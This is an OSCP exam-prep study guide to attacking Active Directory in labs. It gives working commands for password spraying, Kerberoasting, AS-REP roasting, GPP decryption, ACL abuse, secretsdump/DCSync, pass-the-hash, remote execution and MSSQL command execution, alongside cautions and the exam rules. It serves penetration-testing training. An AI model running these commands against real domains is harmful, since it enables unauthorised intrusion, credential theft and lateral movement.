Active Directory.
The OSCP speedrun.

Part 1 — Connect AD to what you already know#

Your previous guide revolved around:

What do I control, which privileged identity consumes it, and can I trigger that operation?

For AD, extend that question:

Which identity can I act as, where can that identity authenticate, and what can it control there?

A typical chain looks like:

Valid domain user
    ↓
Readable share containing an application password
    ↓
Service account with access to another server
    ↓
Local privilege escalation on that server
    ↓
Additional credentials or a useful AD permission
    ↓
Access to a more privileged identity
    ↓
Required elevated access and proof

Every useful discovery should change your access, your knowledge of a path, or your ability to execute the next step.

1. The AD concepts you actually need#

Two distinctions to retain:

• WS01\Administrator and CORP\Administrator are separate identities.
• SYSTEM on a member server gives extensive control over that server. Domain-wide authority requires an additional path.

2. Kerberos in one minute#

You need this sequence:

User authenticates to the DC's Kerberos service
    ↓
Receives a ticket-granting ticket: TGT
    ↓
Uses the TGT to request a ticket for a particular service
    ↓
Presents that service ticket to the target service

A TGT helps obtain service tickets. A service ticket applies to a particular service. Successful authentication still leaves the target service to decide what you may do. Microsoft Kerberos overview

That explains the main attacks:

3. Identify your credential material correctly#

Roasting output is not an NT hash you can immediately pass. You usually need to recover the password first.

Part 2 — The article’s nine positions#

Use these as states you recognize. They overlap, and you can enter the workflow at any of them.

This preserves the framework from the supplied article. The procedures and qualifications below are an expanded study workflow.

Where you will probably start in the exam#

The current OSCP+ guide describes an assumed-breach AD set with supplied credentials. That usually makes Position 4 a more relevant starting point than spending time trying to obtain your first username anonymously. Follow the specific instructions in your exam control panel. Official OSCP+ Exam Guide

Keep a small access ledger#

Identity:       CORP\alice
Material:       plaintext password
Source:         supplied credentials
Validated on:   DC01 SMB and LDAP
Current rights: ordinary domain user
Readable data:  SYSVOL, NETLOGON, Engineering
Shell access:   none confirmed
Next lead:      Engineering deployment scripts

For each new account, record:

Who is it?
Where did the secret come from?
Where does it authenticate?
Where is it an administrator?
What AD objects can it control?
What evidence supports the next step?

This prevents repeatedly testing the same credentials or forgetting which account supplied a useful permission.

Part 3 — Establish a working environment#

Before blaming an attack, verify that the environment supports it.

1. Know the domain and the DC#

Useful service clues:

Open ports identify available services. They do not establish that your account can use them.

From a Windows foothold:

hostname
whoami /all
ipconfig /all
echo %USERDOMAIN%
echo %USERDNSDOMAIN%
nltest /dsgetdc:corp.test

Use your previous guide to interpret the token and privileges.

2. Get DNS and time right#

For Kerberos and AD collection:

• Ensure the domain’s DNS records resolve through an appropriate resolver.
• Ensure your clock is aligned with the lab environment.
• Prefer the target’s correct FQDN for Kerberos.
• Preserve the distinction between the DC used for authentication and the machine you are connecting to.

A hosts-file entry may resolve an individual hostname, but it does not supply the domain’s DNS service-discovery records.

On Kali:

nslookup dc01.corp.test 10.10.10.10
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.test 10.10.10.10
date -u

When Kerberos fails, check these basics before concluding that the credentials are wrong.

3. Know the minimum tool set#

You need a familiar way to perform each job. Running several tools that answer the same question adds little once the result is clear.

Package names vary. Kali commonly supplies impacket-GetUserSPNs; upstream examples use filenames such as GetUserSPNs.py. Check your installed tool’s help when a flag differs.

Part 4 — Positions 1–3: no credentials, leaked files, and SYSVOL#

Position 1: You have services but no credentials#

Your goal is a usable lead:

• A domain name.
• A username.
• Readable data.
• A separate application foothold.

An anonymous-access check is reasonable:

nxc smb 10.10.10.10 -u '' -p '' --shares

If anonymous enumeration is denied, record that result and investigate other exposed services. Repeating the same denied request does not create a new opportunity. NetExec documents separate checks for anonymous shares, users, and policy enumeration. NetExec null sessions

Possible next leads include application configuration, exposed backups, FTP content, or a web application on an in-scope host.

A denied anonymous SMB request does not prove that the intended path must be a web exploit. That conclusion in the article is too strong.

Position 2: You find a file#

Apply credential hunting from the previous guide, adding domain context.

Inspect:

For downloaded text files on Kali:

rg -n -i 'password|passwd|pwd|credential|connectionstring|username' loot/

Then read the surrounding content. A search hit alone may be a placeholder, an old secret, or a credential for an unrelated application.

A filename is a clue, not proof that a matching domain account exists.

Position 3: SYSVOL and NETLOGON#

These shares commonly contain policies and scripts relevant to domain clients. Authenticated readability is normal; anonymous readability is a separate configuration question.

With a valid account:

smbclient //dc01.corp.test/SYSVOL -U 'CORP/alice'

The password is prompted. Within smbclient:

ls
cd corp.test
cd Policies
ls

Navigate deliberately and retrieve the files relevant to your investigation. smbclient provides an interactive FTP-like interface for listing directories and transferring files. Samba smbclient manual

Look for:

• Logon and deployment scripts.
• Referenced file shares.
• Embedded service credentials.
• Legacy Group Policy Preferences XML containing cpassword.

For a genuine legacy GPP cpassword, the commonly used recovery tool is:

gpp-decrypt 'REPLACE_CPASSWORD'

That operation recovers the stored plaintext using the known GPP encryption key. The recovered value may be stale. Validate it before treating the account as compromised.

A modern environment may have no GPP password exposure. SYSVOL can still contain useful scripts and configuration.

Part 5 — Position 4: one valid domain user#

This is the central AD position.

Your account may lack an interactive shell while still being able to query LDAP, read shares, and expose useful relationships.

Work through four tracks:

Identity and group information
Readable shares and files
BloodHound relationships
Authentication weaknesses

1. Validate the credential#

nxc smb 10.10.10.10 -d corp.test -u alice -p 'REPLACE_PASSWORD'

Interpret the result:

A successful SMB login does not by itself give you WinRM access or an elevated shell. NetExec domain authentication

2. Enumerate users and groups#

From a domain-user Windows session:

net user /domain
net group /domain
net group "Domain Admins" /domain
net accounts /domain

Inspect an interesting account:

net user svc_backup /domain

With PowerView available:

. .\PowerView.ps1

Get-Domain
Get-DomainUser -Identity alice
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainComputer |
    Select-Object name,dnshostname,operatingsystem
Get-DomainUser -SPN |
    Select-Object samaccountname,serviceprincipalname

Focus on group membership, descriptions, service identities, hostnames, and the permissions of accounts you already control. These commands belong to PowerView; they are not built into every Windows installation. PowerView source and command documentation

3. Enumerate readable shares#

nxc smb 10.10.10.10 -d corp.test -u alice -p 'REPLACE_PASSWORD' --shares

Repeat against relevant in-scope servers, not only the DC.

Readable deployment or backup data on an application server can be more valuable than another list of domain users. Validate file access within the share: a share-level permission does not guarantee access to every file. NetExec share enumeration

4. Collect BloodHound data#

One current NetExec route:

nxc ldap dc01.corp.test -d corp.test -u alice \
  -p 'REPLACE_PASSWORD' --bloodhound --collection All

Import the output into a compatible BloodHound installation. NetExec currently documents CE as its default ingestor. NetExec BloodHound collection

Alternatively, from a suitable Windows session:

.\SharpHound.exe --Domain corp.test --CollectionMethods All

All is broad collection. DCOnly collects directory relationships without contacting member computers, which means it cannot replace host-based collection when you need those observations. Keep your collector compatible with your BloodHound version. SharpHound collection methods

5. Read the graph as a sequence of prerequisites#

Start from the account you control and investigate:

1. Its groups, including nested memberships.
2. Its outbound object-control rights.
3. Machines it can administer or remotely access.
4. Paths to relevant privileged identities.
5. Readable managed passwords or delegation relationships, when present.

Example:

ALICE
  └─ MemberOf → HELPDESK
       └─ ForceChangePassword → SVC_BACKUP
            └─ AdminTo → APP01

Translate it into a hypothesis:

Can I use HELPDESK's effective reset permission?
    ↓
Can I authenticate as SVC_BACKUP afterward?
    ↓
Does that identity actually administer APP01?
    ↓
Can I reach an allowed execution method there?

The graph suggests a path. Each edge still needs validation. Missing collection or stale session data can also hide a viable path.

Part 6 — The attack patterns worth learning first#

Attack 1: Password reuse and evidence-led password testing#

A recovered password can be relevant to:

• Its named account.
• That account on additional hosts.
• Another account suggested by the evidence.
• Local administrator accounts on other machines.

Distinguish two activities:

One known account tested on several hosts
    = access mapping for that identity

One password tested against several accounts
    = password spraying

Spraying can lock accounts. Check policy first, account for previous failures, and remember that fine-grained policies may differ from the domain-wide policy.

From Windows:

net accounts /domain

A targeted lab example using a small, justified user list:

nxc smb 10.10.10.10 -d corp.test -u candidate-users.txt \
  -p 'REPLACE_EVIDENCE_BASED_PASSWORD' --continue-on-success

The article’s “two or three passwords” advice is not a universal safe threshold. There is no fixed number of guesses that is safe for every domain. HackTricks password spraying

Attack 2: Kerberoasting#

Finding: A domain user account has an SPN.

Prerequisites: A suitable authenticated request path to the KDC; the target service ticket must provide useful offline guessing material.

Goal: Recover the service account’s password.

First enumerate SPNs:

impacket-GetUserSPNs -dc-ip 10.10.10.10 corp.test/alice

The tool prompts for the password.

Request material for an interesting account:

impacket-GetUserSPNs -dc-ip 10.10.10.10 \
  -request-user svc_sql -outputfile kerberoast.txt corp.test/alice

For RC4 output beginning with $krb5tgs$23$:

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

AES tickets use different modes. Match the actual output format rather than assuming every Kerberoast uses RC4. HackTricks Kerberoasting

After recovering a password:

Validate the account
    ↓
Inspect its groups and permissions
    ↓
Check relevant services and hosts
    ↓
Update the access ledger and BloodHound investigation

A service account is not necessarily an administrator. Its value comes from its actual permissions.

Attack 3: AS-REP roasting#

Finding: A user does not require Kerberos preauthentication.

Goal: Obtain material for offline password guessing.

With valid credentials, enumerate and request vulnerable accounts:

impacket-GetNPUsers -dc-ip 10.10.10.10 -request \
  -format hashcat -outputfile asrep.txt corp.test/alice

Without credentials, but with a justified username list:

impacket-GetNPUsers -dc-ip 10.10.10.10 -no-pass \
  -usersfile users.txt -format hashcat \
  -outputfile asrep.txt corp.test/

For RC4 output beginning with $krb5asrep$23$:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

If preauthentication is required, that account does not support this classic AS-REP roasting path. AES output requires an appropriate cracking format. HackTricks AS-REP roasting

Remember the difference:

Let a bounded cracking attempt run while you investigate shares and permissions. You do not need to wait for it before making progress.

Attack 4: AD ACL abuse#

This is the directory equivalent of the permissions reasoning from your previous guide.

Previously:

Write access to an executable
    → privileged service executes controlled code

Now:

Permission over an AD object
    → change membership, credentials, or authorization
    → act with newly obtained access

The target object type matters:

GenericAll behaves differently on users, groups, computers, and policies. SpecterOps GenericAll documentation

Example A: reset a user password

From a Windows session acting as the principal with the required permission:

$newPassword = ConvertTo-SecureString 'REPLACE_NEW_LAB_PASSWORD' -AsPlainText -Force

Set-DomainUserPassword -Identity svc_backup -AccountPassword $newPassword

This changes the target’s password. It may interrupt services using the old secret, so use it deliberately and record the change.

Example B: modify group membership

If you have the relevant effective membership-write permission:

Add-DomainGroupMember -Identity "Server Operators Lab" -Members alice

Then establish a fresh authentication context and verify the resulting access. An existing session may retain its earlier token.

Example C: WriteDacl

The reasoning is:

Can change an object's permissions
    ↓
Grant the specific right needed
    ↓
Exercise that right

It does not directly give you the target’s password. Read the edge’s abuse guidance for the object involved, preserve the original ACL, and document any changes. SpecterOps WriteDacl documentation

Correction to the article: Do not treat “reset the DC’s computer-account password” as a general shortcut to Domain Admin. Directory-side machine-password changes can desynchronize the machine’s secure channel. Microsoft’s recovery procedure coordinates the machine and directory state. Use a validated attack path appropriate to the actual rights instead. Microsoft DC machine-password guidance

Attack 5: Local privilege escalation as a domain stepping stone#

Positions 5 and 6 take you back to the previous guide.

On a normal-user shell:

whoami /all

Then investigate the strongest local findings:

• Service configuration permissions.
• Writable service binaries.
• Scheduled tasks.
• Relevant token privileges.
• Application configuration.
• PowerShell history.
• Saved credentials.

For SeImpersonatePrivilege, use the compatibility and trigger checks already covered in the Windows speedrun.

What changes in AD is your objective after elevation:

Elevate locally
    ↓
Inspect previously inaccessible files and secrets
    ↓
Identify useful domain or reusable local credentials
    ↓
Evaluate onward access

Potato tools are not universal. Requirements vary by technique, Windows build, services, and execution context. PrintSpoofer’s author documents specific tested environments rather than a guarantee for all modern Windows systems. PrintSpoofer research

Attack 6: Credential collection after local administrator access#

At Position 7, collect the material you can actually access:

From Kali, using a domain account that administers the target:

impacket-secretsdump corp.test/svc_backup@10.10.10.30

This prompts for the password.

Impacket distinguishes local SAM/LSA extraction from domain replication. Its remote extraction can touch services and temporary registry-hive files; record the operation and its results. Impacket secretsdump source

Do not assume:

• Every logged-on user has a plaintext password in memory.
• Every session exposes reusable credentials.
• SYSTEM bypasses all credential protections.
• A local Administrator hash is the domain Administrator’s hash.

After each useful result, return to the credential-material table in Part 1.

Attack 7: Pass-the-hash and Kerberos ticket use#

A. Pass-the-hash#

You have a usable NT hash. Test it without first recovering the password:

nxc smb 10.10.10.30 -d corp.test -u svc_backup -H 'REPLACE_NT_HASH'

For a local account on another member machine:

nxc smb 10.10.10.20 --local-auth -u Administrator -H 'REPLACE_NT_HASH'

--local-auth changes the authentication context to the target’s local account database. It does not mean “make only one attempt.” NetExec local authentication

A usable hash still needs:

Reachable service
+ accepted authentication mechanism
+ account allowed to log on
+ permission for the desired operation

B. Overpass-the-hash / pass-the-key#

A compatible account key can obtain a TGT:

impacket-getTGT -dc-ip 10.10.10.10 \
  -hashes ':REPLACE_NT_HASH' corp.test/svc_backup

An NT-hash-based Kerberos route depends on compatible encryption support. Where required, use the appropriate AES key instead. Impacket getTGT

C. Pass-the-ticket#

With an existing usable cache:

export KRB5CCNAME="$PWD/svc_backup.ccache"

impacket-wmiexec -k -no-pass \
  corp.test/svc_backup@app01.corp.test

Check that the ticket’s identity, validity, and target service are suitable. A service ticket for one service does not supply arbitrary access elsewhere.

wmiexec additionally needs the target’s administrative permissions and reachable DCOM/WMI infrastructure. Its usual execution context is the authenticated user. Impacket wmiexec

Attack 8: DCSync#

Finding: Your controlled identity has effective replication rights over the domain naming context.

For typical password-secret replication, the important pair is:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All

This can permit extraction without an interactive shell on the DC.

A scoped example:

impacket-secretsdump -just-dc-user Administrator \
  corp.test/replication_user@10.10.10.10

A low-privilege-looking account can be valuable if it has these rights. Conversely, administrator access to a member server does not itself grant DCSync. HackTricks DCSync

Afterward:

1. Identify exactly which account material you recovered.
2. Authenticate through a suitable method.
3. Obtain the required elevated access.
4. Collect the required exam evidence.

A successful replication operation does not replace required shell and proof-file evidence.

Part 7 — Turn credentials into access#

Choose a method based on the target’s services and your permissions.

WinRM with a password or hash#

evil-winrm -i 10.10.10.30 -u 'CORP\svc_backup' -p 'REPLACE_PASSWORD'

Or with a suitable NT hash:

evil-winrm -i 10.10.10.30 -u 'CORP\svc_backup' -H 'REPLACE_NT_HASH'

Inside the session, verify the identity and token using the commands from your Windows guide. Evil-WinRM documentation

WMI with administrative credentials#

impacket-wmiexec corp.test/svc_backup@10.10.10.30

For pass-the-hash:

impacket-wmiexec -hashes ':REPLACE_NT_HASH' \
  corp.test/svc_backup@10.10.10.30

PsExec-style access to the intended target#

impacket-psexec corp.test/Administrator@10.10.10.10

The address after @ selects the execution target.

A -dc-ip option, where supported, selects a DC for authentication-related operations. It does not generally redirect execution to that DC.

If execution fails, distinguish:

Authentication failure
Authorization failure
Unreachable required ports
Unwritable execution share
Service creation/start failure
Endpoint protection
Output-channel failure

The article’s suggestion that missing shells are usually caused by targeting a member server is too narrow. A domain administrator may legitimately administer member servers too.

The double-hop trap#

You can have:

Kali → WinRM on APP01

while a command inside that session fails to access:

APP01 → DC01 share

Your remote session does not automatically receive reusable credentials for the second connection.

Use an explicit supported credential path or make the connection directly from Kali if routing permits. Treat a second-hop failure separately from the account’s actual permissions. Microsoft PowerShell second-hop explanation

Reachability and pivoting#

When a discovered host is inaccessible from Kali:

1. Confirm its address and service.
2. Test reachability from your foothold.
3. Establish an appropriate tunnel or route.
4. Retest the same intended connection.
5. Keep authentication troubleshooting separate from transport troubleshooting.

A TCP-only SOCKS route may not support tools expecting UDP DNS or Kerberos traffic. A route that exposes SMB may still leave required RPC ports inaccessible.

Part 8 — Important conditional branches#

These are useful to recognize. Investigate them when the environment supplies a specific lead.

1. MSSQL#

An SPN, configuration file, or scan may reveal a SQL service.

Connect using Windows authentication:

impacket-mssqlclient -windows-auth \
  corp.test/svc_sql@10.10.10.30

Then inspect your SQL context:

SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

If you have the required rights, Impacket’s interactive SQL client supplies helpers such as:

enable_xp_cmdshell
xp_cmdshell whoami

Enabling command execution changes server configuration; record its original state. The resulting OS command runs under the configured SQL execution context, which can be a service account or proxy. Check the resulting token and return to your Windows PrivEsc guide if appropriate. Impacket MSSQL client, interactive SQL helpers

Other leads include SQL impersonation permissions, linked servers, and credentials stored in readable application data. These require their own permission checks. HackTricks MSSQL AD abuse

2. Silver tickets#

Recognize this chain:

Have the key of the account backing a service
    ↓
Know the domain SID and exact service SPN
    ↓
Forge a service ticket
    ↓
Attempt authentication to that service as the chosen identity

The service account’s key is different from the krbtgt key used for golden tickets.

A silver ticket is service-scoped. Possessing a SQL service account key does not automatically provide SMB administrator access.

Also validate encryption compatibility, identity/RID consistency, and target-side ticket validation. Modern validation can prevent simplistic examples from working. Impacket’s ticketer supports service-ticket construction with an SPN. Impacket ticketer

For preparation, understand the prerequisites and practise one compatible service-specific lab chain. Broad persistence techniques can wait until your core workflow is reliable.

3. Kerberos delegation / RBCD#

Recognize the three main forms:

For a common RBCD path, investigate:

Can modify the target's RBCD authorization
+ control a suitable service principal and its key
+ impersonated identity is delegable
+ correct target SPN and compatible Kerberos behavior
    ↓
Potential service access as another identity

A writable computer object is a lead. It is not the completed chain. Computer-creation quota alone also does not prove exploitability. HackTricks RBCD

4. LAPS and gMSA#

Two high-value permission questions:

• Can your identity read a machine’s managed local administrator password?
• Can it read a group managed service account’s managed password?

The presence of LAPS or gMSA is normal. The useful finding is your effective ability to obtain and use the managed secret.

After retrieval, evaluate the resulting identity exactly as you would any other account: group memberships, machine administration, accessible services, and outbound AD permissions.

5. AD Certificate Services#

If you discover a CA, certificate templates, or certificate-related graph edges, investigate AD CS.

Certipy’s workflow broadly includes:

find → enumerate configuration and possible weaknesses
req  → request a certificate when permitted
auth → use a suitable certificate/private key to authenticate

A vulnerability label requires validation of enrollment rights, issuance requirements, identity mapping, and current target behavior. Patched certificate-mapping requirements matter. Certipy usage documentation

6. NTLM relay and poisoning#

Understand the distinction:

• Captured challenge-response material may support offline cracking.
• Relay forwards an authentication exchange to another service under suitable conditions.
• Poisoning/spoofing is a way of inducing or redirecting authentication.

These are different prerequisites and operations. Do not assume that an unsigned SMB service alone gives you a working relay chain.

For the exam, respect OffSec’s explicit spoofing restriction. A technique appearing in HackTricks does not make it permitted in the exam. Official exam restrictions

Part 9 — Three realistic chains#

These are hypothetical practice chains, not claims about a particular exam set.

Scenario A: supplied user → readable script → server admin → domain path#

Position 4: CORP\alice
    ↓
Authenticated share enumeration
    ↓
Deployment script exposes svc_deploy credentials
    ↓
Validate svc_deploy and inspect its permissions
    ↓
Administrative access to APP01
    ↓
Position 7: inspect accessible files and credential material
    ↓
Recover a principal with a useful AD permission
    ↓
Position 8: validate and exercise that permission
    ↓
Required elevated access and proof

Lesson: The useful transition came from understanding a file.

Scenario B: ordinary account → roast → SQL → SYSTEM#

Position 4: valid domain user
    ↓
SPN enumeration identifies svc_sql
    ↓
Request a service ticket and recover a weak password offline
    ↓
SQL authentication succeeds
    ↓
SQL permissions permit OS command execution
    ↓
Position 6: service token has usable SeImpersonatePrivilege
    ↓
Compatible local elevation path
    ↓
Position 7: SYSTEM on the SQL server
    ↓
Collect additional evidence and evaluate onward access

Lesson: Reaching SYSTEM on the SQL server completes a local step. Reassess what domain access it supplies.

Scenario C: delegated membership → reset permission → replication#

Position 4: valid domain user
    ↓
BloodHound identifies a group-membership write
    ↓
Validate and change membership
    ↓
Fresh authentication context acquires the group's effective rights
    ↓
Password-reset permission over a useful account
    ↓
That account has validated domain replication rights
    ↓
Scoped DCSync
    ↓
Authenticate with recovered privileged material
    ↓
Required shell and proof

Lesson: Some paths advance through directory permissions without local exploitation on each machine.

Part 10 — When you get stuck#

Use the article’s roughly 20-minute reassessment idea as a study heuristic:

What new fact have I learned?
Which prerequisite is failing?
Can I test that prerequisite directly?
What other supported lead is available?

If nothing has changed, revisit files, account descriptions, and permissions already collected. Re-running broad enumeration is useful when your access or evidence has materially changed.

Part 11 — Compact working checklist#

With a valid domain account#

# Validate authentication
nxc smb 10.10.10.10 -d corp.test -u alice -p 'REPLACE_PASSWORD'

# Identify readable shares on relevant hosts
nxc smb 10.10.10.10 -d corp.test -u alice \
  -p 'REPLACE_PASSWORD' --shares

# Collect a domain relationship graph
nxc ldap dc01.corp.test -d corp.test -u alice \
  -p 'REPLACE_PASSWORD' --bloodhound --collection All

# Enumerate SPNs
impacket-GetUserSPNs -dc-ip 10.10.10.10 corp.test/alice

# Enumerate/request AS-REP-roastable users
impacket-GetNPUsers -dc-ip 10.10.10.10 -request \
  -format hashcat -outputfile asrep.txt corp.test/alice

With a Windows shell#

whoami /all
hostname
ipconfig /all
net user /domain
net group /domain
net accounts /domain

Then apply the Windows PrivEsc guide and inspect relevant files.

After every new credential#

[ ] Identify the exact principal
[ ] Identify the secret/artifact type
[ ] Validate it against an appropriate service
[ ] Map relevant host and share access
[ ] Check administration/remoting permissions
[ ] Inspect useful group memberships and object-control rights
[ ] Record the source and evidence
[ ] Select the next supported transition

After every new machine#

[ ] Verify host and identity
[ ] Check token and local privileges
[ ] Inspect application-specific files
[ ] Elevate locally if needed and feasible
[ ] Collect newly accessible credential material
[ ] Inspect network reachability
[ ] Reassess domain paths with the new access

Part 12 — What to practise until it feels routine#

My recommended priority order:

These are study priorities, not a guarantee that any technique is included in or excluded from an exam. OffSec’s published syllabus emphasizes AD enumeration, authentication attacks, and lateral movement. PEN-200 syllabus

A useful practice session should produce a reproducible chain:

Initial access
→ finding
→ prerequisite validation
→ action
→ resulting identity/access
→ next finding
→ proof

For each transition, explain why it worked. That is the level of understanding that makes unfamiliar lab layouts manageable.

Part 13 — Exam evidence and restrictions#

Keep these operational requirements beside your notes:

• Follow the target-specific objectives in the exam control panel.
• Verify the identity and privileges of your resulting shell.
• Display proof files from their original locations using the permitted interactive-shell method.
• Include the target IP and required proof contents in your screenshots.
• Submit proof values in the control panel before the exam ends.
• Document commands and results sufficiently for someone else to reproduce the chain.
• Respect restrictions on spoofing, automatic exploitation, mass vulnerability scanners, Metasploit, and Meterpreter.
• AI chatbots are prohibited during the exam; use this guide for preparation and static study notes.

The official guide permits msfvenom and multi/handler across targets subject to its separate Meterpreter restriction. Re-read the authoritative rules before sitting the exam. Official OSCP+ Exam Guide

The habit to build: whenever you obtain an account, permission, file, or shell, state exactly what changed—and which next action that change makes possible.